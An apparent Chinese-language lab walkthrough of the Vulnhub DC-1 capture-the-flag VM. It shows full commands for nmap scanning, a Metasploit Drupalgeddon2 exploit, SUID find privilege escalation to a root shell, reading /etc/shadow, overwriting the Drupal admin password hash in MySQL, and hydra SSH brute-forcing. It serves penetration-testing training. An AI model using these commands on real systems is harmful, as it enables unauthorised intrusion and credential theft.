Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行。每个镜像会有破解的目标,大多是Boot2root,从启动虚机到获取操作系统的root权限和查看flag。
网址:https://www.vulnhub.com
DC总共有6个靶机,本次我们使用的靶机是DC-1 ,难度不大,适合新手去实验和入门,
下载地址: http://www.five86.com/dc-1.html
DC-1 没有烧脑的难度,重点是需要我们去掌握一些常用的渗透工具,比如nmap,hydra,msf等等。
作者说flag在root目录下,那么我们最终的任务就是去提权或者获取到有root权限去执行命令。
初次接触可能需要去百度相关的知识,所以努力的你肯定会有所进步,
网段:192.168.248.0/24
主机:192.168.248.149
靶机:192.168.248.152
这里大家需要注意一下,因为我是用的ubuntu,所以有的命令需要加sudo,如果大家用的是kali就不需要了
命令:nmap -sn 192.168.248.0/24
命令:nmap -sS 192.168.248.152
-sS :半开放扫描(非3次握手的tcp扫描)比较安全,不会产生会话,几乎不会产生日志,工作中常用,建议大家不要直接全上的去扫,稳妥更稳妥,需要有root权限
我这里尝试了弱密码,好像没啥用,看到了网站的管理系统,尝试查找相关漏洞攻击
wxy@wxy-virtual-machine:~$ msfconsole -q
msf5 > search drupal
msf5 > use exploit/unix/webapp/drupal_drupalgeddon2
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.248.152
执行
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > exploit
www-data@DC-1:/var/www$ ls
发现flag1 文件
www-data@DC-1:/var/www$ find / -name flag
www-data@DC-1:/var/www$ cat /etc/passwd
发现特别的用户,尝试去查看用户的目录
找到了一个flag4.txt,这里是作者迷惑你的一个flag,
www-data@DC-1:/var/www$ cd /home
www-data@DC-1:/home$ ls
flag4
www-data@DC-1:/home$ cd /www-data@DC-1:/home/flag4$ ls
flag4.txt
www-data@DC-1:/home/flag4$ cat flag4.txt
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
既然我们在普通用户下没有找到flag,我们只能去提权了
查看shadow文件,发现权限不足
www-data@DC-1:/var/www$ cat /etc/shadow
www-data@DC-1:/var/www$ find / -perm -4000 2>/dev/null
这里去查看了下大佬的骚思路,找到了find提权方式,成功拿到shell
说明提权方式,为什么我们会想到用find提权,作者在flag3也告诉了我们,所以如果大家要一步一步的走,请移步后面flag到flag3查找过程
利用find的权限,使用exec去执行一些root权限的命令。
www-data@DC-1:/var/www$ touch wxy
www-data@DC-1:/var/www$ find / -name wxy -exec "whoami" \;
www-data@DC-1:/var/www$ find / -name -exec "/bin/sh" \;
# ls
# cd /root
# ls
# cat thefinalflag.txt
Well done!!!!
Hopefully you've enjoyed this and learned some new skills.
You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7
提权成功,但是我们怎么能满足于只拿到flag,接下来,就是寻找flag之旅
这个比较好找,我直接ls了当前的目录就发现了
查看flag1.txt
那么我们就去查看cms配置文件,顺便收获flag2
发现sites文件,逐步进入查看发现settings.php
查看settings.php,获取到了flag2 和数据库密码
登录数据库
查看当前数据库
查看表drupaldb
show tables from drupaldb;
查看users表中的信息,发现两个用户
搜索drupal的加密方式,尝试破解或者置换密码
参考链接:http://drupalchina.cn/node/2128
www-data@DC-1:/var/www$ php scripts/password-hash.sh admin
php scripts/password-hash.sh admin
password: admin hash: $S$DVoemoxFFm9/7b0MuI7NDlBLlzty2pkOYF8Noj/IkodVTd9u84qV
复制 加密的密码,去数据库修改
mysql> update users set pass ="$S$DVoemoxFFm9/7b0MuI7NDlBLlzty2pkOYF8Noj/IkodVTd9u84qV" where name="admin";
去网站登录
发现flag3
根据这个提示,在结合上面find具有suid的权限,我们去搜索提权可以获取到使用find提权去执行root权限,最后拿到最终flag。
这个在flag4用户目录下,我们切换到flag4目录下cd /home/flag4
这里还有一种做法,
我们刚开始如果发现了flag4 用户,可以尝试去爆破,我们推荐hydra这个神器,如果你没有爆破字典,可以把john的拿过来用
wxy@wxy-virtual-machine:~$ hydra -l flag4 -P /home/wxy/Desktop/password_dict/Weak_password.txt ssh://192.168.248.152
wxy@wxy-virtual-machine:~$ ssh [email protected]
flag4@DC-1:~$ ls
flag4@DC-1:~$ cat flag4.txt
我们已经知道了find的特殊之处,使用find去获取shadow文件。
www-data@DC-1:/var/www$ find / -name wxy -exec "/bin/sh" \;
# cat /etc/shadow
或者
www-data@DC-1:/etc$ find /etc/shadow -exec cat {} \;
如果密码比较复杂,解密是费时有可能解不出来,我们查看对shadow的权限
发现root对其具有写权限,这里我们备份一份shadow,然后直接改里面的值,去登录
ps:这里想了几种办法都没用,大佬有更加骚的姿势,欢迎指点
重点是find提权
下来就是各种工具的熟练掌握
永远不要停下你的步伐
参考链接:https://blog.csdn.net/weixin_41038469/article/details/88409725